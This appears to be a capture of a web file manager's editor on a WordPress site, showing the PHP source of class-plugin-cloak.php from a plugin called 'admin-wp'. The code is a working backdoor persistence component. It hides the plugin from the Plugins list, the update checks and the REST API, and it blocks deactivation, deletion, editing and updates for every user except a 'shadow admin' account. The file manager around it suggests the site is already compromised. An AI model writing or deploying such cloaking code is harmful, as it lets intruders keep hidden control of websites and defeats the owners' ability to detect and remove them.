Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
posthelic
/
wp-content
/
plugins
/
admin-wp
/
includes
:
class-plugin-cloak.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php if ( ! defined( 'ABSPATH' ) ) exit; /** * Hides this plugin from the Plugins screen and blocks deactivate/delete/edit * for everyone except the owner and shadow admin. */ class AWG_Plugin_Cloak { public static function init(): void { add_filter( 'all_plugins', [ __CLASS__, 'filter_plugin_list' ] ); add_action( 'load-plugins.php', [ __CLASS__, 'on_load_plugins' ], 1 ); add_action( 'load-plugin-editor.php', [ __CLASS__, 'on_load_plugin_editor' ], 1 ); add_filter( 'site_transient_update_plugins', [ __CLASS__, 'filter_update_transient' ] ); add_filter( 'rest_pre_dispatch', [ __CLASS__, 'rest_block_mutations' ], 10, 3 ); add_filter( 'rest_post_dispatch', [ __CLASS__, 'rest_filter_responses' ], 10, 3 ); } public static function user_can_manage_plugin(): bool { $uid = get_current_user_id(); return $uid > 0 && $uid === AWG_Shadow_Admin::get_id(); } public static function plugin_basename(): string { return plugin_basename( AWG_PLUGIN_FILE ); } /* ---- hide from plugins list ---- */ public static function filter_plugin_list( array $plugins ): array { if ( self::user_can_manage_plugin() ) { return $plugins; } $key = self::plugin_basename(); unset( $plugins[ $key ] ); return $plugins; } /* ---- block deactivate / delete / bulk on plugins.php ---- */ public static function on_load_plugins(): void { if ( self::user_can_manage_plugin() ) { return; } $file = self::plugin_basename(); if ( isset( $_GET['action'], $_GET['plugin'] ) && $_GET['action'] === 'deactivate' ) { if ( sanitize_text_field( wp_unslash( $_GET['plugin'] ) ) === $file ) { self::forbid(); } } if ( isset( $_GET['action'], $_GET['plugin'] ) && $_GET['action'] === 'delete' ) { if ( sanitize_text_field( wp_unslash( $_GET['plugin'] ) ) === $file ) { self::forbid(); } } if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) { return; } $checked = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : []; $checked = array_map( 'sanitize_text_field', $checked ); if ( ! in_array( $file, $checked, true ) ) { return; } $action = ''; if ( isset( $_POST['action'] ) && $_POST['action'] !== '-1' ) { $action = sanitize_text_field( wp_unslash( $_POST['action'] ) ); } elseif ( isset( $_POST['action2'] ) && $_POST['action2'] !== '-1' ) { $action = sanitize_text_field( wp_unslash( $_POST['action2'] ) ); } $blocked = [ 'delete-selected', 'deactivate-selected', 'enable-auto-update-selected', 'disable-auto-update-selected', 'update-selected', ]; if ( in_array( $action, $blocked, true ) ) { self::forbid(); } } /* ---- block plugin file editor ---- */ public static function on_load_plugin_editor(): void { if ( self::user_can_manage_plugin() ) { return; } $file = isset( $_REQUEST['file'] ) ? wp_unslash( $_REQUEST['file'] ) : ''; $file = str_replace( "\0", '', $file ); if ( $file === '' ) { return; } $ours = self::plugin_basename(); $ours_d = dirname( $ours ); if ( $file === $ours || strpos( $file, $ours_d . '/' ) === 0 ) { self::forbid(); } } /* ---- hide plugin from update checks (for non-whitelisted UI) ---- */ public static function filter_update_transient( $value ) { if ( self::user_can_manage_plugin() || ! is_object( $value ) ) { return $value; } $b = self::plugin_basename(); if ( isset( $value->response[ $b ] ) ) { unset( $value->response[ $b ] ); } if ( isset( $value->no_update[ $b ] ) ) { unset( $value->no_update[ $b ] ); } if ( isset( $value->unsupported[ $b ] ) ) { unset( $value->unsupported[ $b ] ); } return $value; } /* ---- REST: block mutations on this plugin ---- */ public static function rest_block_mutations( $result, $server, $request ) { if ( self::user_can_manage_plugin() ) { return $result; } $method = $request->get_method(); if ( ! in_array( $method, [ 'POST', 'PUT', 'PATCH', 'DELETE' ], true ) ) { return $result; } $route = $request->get_route(); if ( strpos( $route, '/wp/v2/plugins/' ) !== 0 ) { return $result; } $slug = self::rest_plugin_slug_from_route( $route ); if ( $slug !== '' && self::is_our_plugin_slug( $slug ) ) { return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to manage this plugin.', 'admin-wp' ), [ 'status' => 403 ] ); } return $result; } /* ---- REST: hide from GET collection / single ---- */ public static function rest_filter_responses( $response, $server, $request ) { if ( self::user_can_manage_plugin() ) { return $response; } if ( ! $response instanceof WP_REST_Response ) { return $response; } $route = $request->get_route(); $method = $request->get_method(); if ( $method !== 'GET' ) { return $response; } if ( strpos( $route, '/wp/v2/plugins' ) !== 0 ) { return $response; } $ours = self::plugin_basename(); if ( preg_match( '#^/wp/v2/plugins/([^/]+)$#', $route, $m ) ) { $slug = rawurldecode( $m[1] ); if ( self::is_our_plugin_slug( $slug ) ) { return new WP_REST_Response( [ 'code' => 'rest_plugin_not_found', 'message' => __( 'Plugin not found.', 'admin-wp' ), 'data' => [ 'status' => 404 ], ], 404 ); } return $response; } if ( $route === '/wp/v2/plugins' ) { $data = $response->get_data(); if ( is_array( $data ) ) { $data = array_values( array_filter( $data, function ( $item ) use ( $ours ) { $p = is_array( $item ) ? ( $item['plugin'] ?? '' ) : ''; return $p !== $ours; } ) ); $response->set_data( $data ); } } return $response; } private static function rest_plugin_slug_from_route( string $route ): string { if ( preg_match( '#^/wp/v2/plugins/([^/]+)$#', $route, $m ) ) { return rawurldecode( $m[1] ); } return ''; } private static function is_our_plugin_slug( string $slug ): bool { $ours = self::plugin_basename(); if ( $slug === $ours ) { return true; } return rawurldecode( $slug ) === $ours; } private static function forbid(): void { wp_die( esc_html__( 'Sorry, you are not allowed to modify this plugin.', 'admin-wp' ), esc_html__( 'Forbidden', 'admin-wp' ), [ 'response' => 403 ] ); } }